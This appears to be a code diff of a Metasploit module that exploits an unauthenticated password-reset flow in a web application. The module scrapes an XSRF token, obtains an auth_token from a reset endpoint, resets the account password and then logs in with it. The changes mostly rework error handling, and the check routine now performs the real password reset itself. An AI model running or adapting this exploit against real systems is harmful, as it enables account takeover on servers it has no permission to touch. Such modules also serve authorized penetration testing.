@@ -2,6 +2,10 @@ class MetasploitModule < Msf::Auxiliary
22 include Msf ::Exploit ::Remote ::HttpClient
33 prepend Msf ::Exploit ::Remote ::AutoCheck
44
5+ class AuthTokenError < StandardError ; end
6+ class XsrfTokenError < StandardError ; end
7+ class ResetPasswordError < StandardError ; end
8+
59 def initialize ( info = { } )
610 super (
711 update_info (
@@ -51,11 +55,12 @@ def xsrf_token_value
5155 }
5256 )
5357
54- fail_with ( Failure ::UnexpectedReply , 'Failed to get a 200 response from the server.' ) unless res &.code == 200
58+ raise XsrfTokenError , 'Failed to get a 200 response from the server.' unless res &.code == 200
59+
5560 print_good ( 'Server reachable.' )
5661
5762 xsrf_token_value = res . get_cookies . scan ( /XSRF-TOKEN=([^;]*)/ ) . flatten [ 0 ]
58- fail_with ( Failure :: UnexpectedReply , 'XSRF Token not found' ) unless xsrf_token_value
63+ raise XsrfTokenError , 'XSRF Token not found' unless xsrf_token_value
5964
6065 decoded_xsrf_token = decode_url ( xsrf_token_value )
6166 print_good ( "Retrieved XSRF Token: #{ decoded_xsrf_token } " )
@@ -79,11 +84,11 @@ def auth_token(decoded_xsrf_token)
7984 'data' => payload
8085 } )
8186
82- fail_with ( Failure :: UnexpectedReply , 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' ) unless res &.code == 200
87+ raise AuthTokenError , 'Request /backend/reset_password/generate_code to retrieve auth_token did not return a 200 response' unless res &.code == 200
8388
8489 json = res . get_json_document
8590 if json . key? ( 'error_message' )
86- fail_with ( Failure :: UnexpectedReply , json [ 'error_message' ] )
91+ raise AuthTokenError , json [ 'error_message' ]
8792 elsif json . key? ( 'auth_token' )
8893 print_good ( 'Retrieved auth_token: ' + json [ 'auth_token' ] )
8994 end
@@ -113,26 +118,29 @@ def reset_password(decoded_xsrf_token, auth_token)
113118 'data' => payload
114119 } )
115120
116- fail_with ( Failure :: UnexpectedReply , 'Password reset attempt failed' ) unless res &.code == 200
121+ raise ResetPasswordError , 'Did not receive a 200 responce from backend/reset_password' unless res &.code == 200
117122
118123 json = res . get_json_document
124+ raise ResetPasswordError , "There was an error resetting the password: #{ json [ 'error_message' ] } " if json [ 'error_message' ]
125+
119126 json
120127 end
121128
122129 def check
123- @xsrf_token_value = xsrf_token_value
124- return Exploit ::CheckCode ::Unknown ( 'Unable to determine the version (xsrf_token_value missing).' ) unless @xsrf_token_value
130+ begin
131+ @xsrf_token_value = xsrf_token_value
132+ @auth_token = auth_token ( @xsrf_token_value )
133+ @reset_password = reset_password ( @xsrf_token_value , @auth_token )
134+ rescue AuthTokenError , XsrfTokenError , ResetPasswordError => e
135+ return Exploit ::CheckCode ::Unknown ( "Check method failed: #{ e . class } , #{ e } " )
136+ end
125137
126- @auth_token = auth_token ( @ xsrf_token_value)
138+ return Exploit :: CheckCode :: Unknown ( 'Unable to determine the version ( xsrf_token_value missing).' ) unless @xsrf_token_value
127139 return Exploit ::CheckCode ::Unknown ( 'Unable to determine the version (auth_token missing).' ) unless @auth_token
128-
129- @reset_password = reset_password ( @xsrf_token_value , @auth_token )
130140 return Exploit ::CheckCode ::Unknown ( 'Unable to determine the version (reset_password failed).' ) unless @reset_password
131141
132- if @reset_password . key? ( 'error' )
133- return Exploit ::CheckCode ::Safe
134- elsif @reset_password . key? ( 'status' )
135- return Exploit ::CheckCode ::Appears
142+ if @reset_password . key? ( 'status' )
143+ return Exploit ::CheckCode ::Appears ( 'Password reset was successful, target is vulnerable' )
136144 end
137145
138146 Exploit ::CheckCode ::Unknown
@@ -145,9 +153,17 @@ def decode_url(encoded_string)
145153 end
146154
147155 def run
148- @xsrf_token_value ||= xsrf_token_value
149- @auth_token ||= auth_token ( @xsrf_token_value )
150- @reset_password ||= reset_password ( @xsrf_token_value , @auth_token )
156+ begin
157+ @xsrf_token_value ||= xsrf_token_value
158+ @auth_token ||= auth_token ( @xsrf_token_value )
159+ @reset_password ||= reset_password ( @xsrf_token_value , @auth_token )
160+ rescue AuthTokenError , XsrfTokenError , ResetPasswordError => e
161+ fail_with ( Failure ::UnexpectedReply , "Exploit pre-conditions were not met #{ e . class } , #{ e } " )
162+ end
163+
164+ fail_with ( Failure ::UnexpectedReply , 'Unable to determine the version (xsrf_token_value missing).' ) unless @xsrf_token_value
165+ fail_with ( Failure ::UnexpectedReply , 'Unable to determine the version (auth_token missing).' ) unless @auth_token
166+ fail_with ( Failure ::UnexpectedReply , 'Unable to determine the version (reset_password failed).' ) unless @reset_password
151167
152168 # 4) Confirm that we can authenticate with the new password
153169 payload = {
0 commit comments